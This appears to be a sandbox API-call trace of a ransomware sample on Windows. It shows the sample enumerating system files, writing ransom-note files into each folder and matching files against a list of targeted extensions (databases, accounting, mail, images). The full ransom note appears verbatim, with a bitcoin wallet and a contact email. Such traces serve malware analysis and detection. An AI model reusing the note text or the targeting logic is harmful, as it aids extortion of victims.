lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\gateway.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\gateway.browser" [0165.357] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\gateway.browser", pszSpec="*.ems") returned 0 [0165.358] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf2531cd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf2531cd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x96b86759, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x321, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic.browser", cAlternateFileName="GENERI~1.BRO")) returned 1 [0165.358] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.358] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="generic.browser") returned -1 [0165.358] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="generic.browser") returned 1 [0165.358] lstrcmpiA (lpString1="", lpString2="generic.browser") returned -1 [0165.358] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\gateway.browser") returned="gateway.browser" [0165.358] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.358] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.358] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.358] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.358] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.359] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.359] CloseHandle (hObject=0xffffffff) returned 0 [0165.359] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="generic.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\generic.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\generic.browser" [0165.359] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\generic.browser", pszSpec="*.ems") returned 0 [0165.359] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf27932a, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf27932a, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x96c1ecd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4166, dwReserved0=0x0, dwReserved1=0x0, cFileName="goAmerica.browser", cAlternateFileName="GOAMER~1.BRO")) returned 1 [0165.359] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.359] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="goAmerica.browser") returned -1 [0165.359] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="goAmerica.browser") returned 1 [0165.359] lstrcmpiA (lpString1="", lpString2="goAmerica.browser") returned -1 [0165.359] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\generic.browser") returned="generic.browser" [0165.359] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.359] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.359] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.360] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.360] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.360] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.360] CloseHandle (hObject=0xffffffff) returned 0 [0165.360] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="goAmerica.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\goAmerica.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\goAmerica.browser" [0165.360] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\goAmerica.browser", pszSpec="*.ems") returned 0 [0165.360] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf29f487, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf29f487, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x96c44e2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x47dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie.browser", cAlternateFileName="IE92A1~1.BRO")) returned 1 [0165.361] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.361] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ie.browser") returned -1 [0165.361] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ie.browser") returned -1 [0165.361] lstrcmpiA (lpString1="", lpString2="ie.browser") returned -1 [0165.361] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\goAmerica.browser") returned="goAmerica.browser" [0165.361] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.361] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.361] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.361] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.361] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.361] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.361] CloseHandle (hObject=0xffffffff) returned 0 [0165.362] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="ie.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\ie.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\ie.browser" [0165.362] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\ie.browser", pszSpec="*.ems") returned 0 [0165.362] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf2c55e4, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf2c55e4, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x96e802b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xe34, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jataayu.browser", cAlternateFileName="JATAAY~1.BRO")) returned 1 [0165.363] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.363] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Jataayu.browser") returned -1 [0165.363] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Jataayu.browser") returned -1 [0165.363] lstrcmpiA (lpString1="", lpString2="Jataayu.browser") returned -1 [0165.363] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\ie.browser") returned="ie.browser" [0165.363] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.363] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.363] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.363] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.363] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.363] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.364] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.364] CloseHandle (hObject=0xffffffff) returned 0 [0165.365] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="Jataayu.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser" [0165.365] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.ems") returned 0 [0165.365] lstrlenA (lpString="*.ems") returned 5 [0165.365] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.db") returned 0 [0165.365] lstrlenA (lpString="*.db") returned 4 [0165.365] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.dbf") returned 0 [0165.365] lstrlenA (lpString="*.dbf") returned 5 [0165.365] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.myox") returned 0 [0165.365] lstrlenA (lpString="*.myox") returned 6 [0165.365] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.myo") returned 0 [0165.365] lstrlenA (lpString="*.myo") returned 5 [0165.365] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.qbw") returned 0 [0165.365] lstrlenA (lpString="*.qbw") returned 5 [0165.365] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.qbb") returned 0 [0165.365] lstrlenA (lpString="*.qbb") returned 5 [0165.365] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.qbm") returned 0 [0165.365] lstrlenA (lpString="*.qbm") returned 5 [0165.365] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.qbo") returned 0 [0165.365] lstrlenA (lpString="*.qbo") returned 5 [0165.365] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.qbx") returned 0 [0165.365] lstrlenA (lpString="*.qbx") returned 5 [0165.365] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.qba") returned 0 [0165.365] lstrlenA (lpString="*.qba") returned 5 [0165.366] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.qby") returned 0 [0165.366] lstrlenA (lpString="*.qby") returned 5 [0165.366] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.qbj") returned 0 [0165.366] lstrlenA (lpString="*.qbj") returned 5 [0165.366] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.ofx") returned 0 [0165.366] lstrlenA (lpString="*.ofx") returned 5 [0165.366] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.qif") returned 0 [0165.366] lstrlenA (lpString="*.qif") returned 5 [0165.366] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.mye") returned 0 [0165.366] lstrlenA (lpString="*.mye") returned 5 [0165.366] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.mbox") returned 0 [0165.366] lstrlenA (lpString="*.mbox") returned 6 [0165.366] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.eml") returned 0 [0165.366] lstrlenA (lpString="*.eml") returned 5 [0165.366] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.pst") returned 0 [0165.366] lstrlenA (lpString="*.pst") returned 5 [0165.366] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.ost") returned 0 [0165.366] lstrlenA (lpString="*.ost") returned 5 [0165.366] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.idx") returned 0 [0165.366] lstrlenA (lpString="*.idx") returned 5 [0165.366] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.dbx") returned 0 [0165.366] lstrlenA (lpString="*.dbx") returned 5 [0165.366] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.sql") returned 0 [0165.366] lstrlenA (lpString="*.sql") returned 5 [0165.366] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.mdb") returned 0 [0165.367] lstrlenA (lpString="*.mdb") returned 5 [0165.367] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.fdb") returned 0 [0165.367] lstrlenA (lpString="*.fdb") returned 5 [0165.367] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.wab") returned 0 [0165.367] lstrlenA (lpString="*.wab") returned 5 [0165.367] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.dat") returned 0 [0165.367] lstrlenA (lpString="*.dat") returned 5 [0165.367] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.txt") returned 0 [0165.367] lstrlenA (lpString="*.txt") returned 5 [0165.367] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.jpeg") returned 0 [0165.367] lstrlenA (lpString="*.jpeg") returned 6 [0165.367] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.jpg") returned 0 [0165.367] lstrlenA (lpString="*.jpg") returned 5 [0165.367] 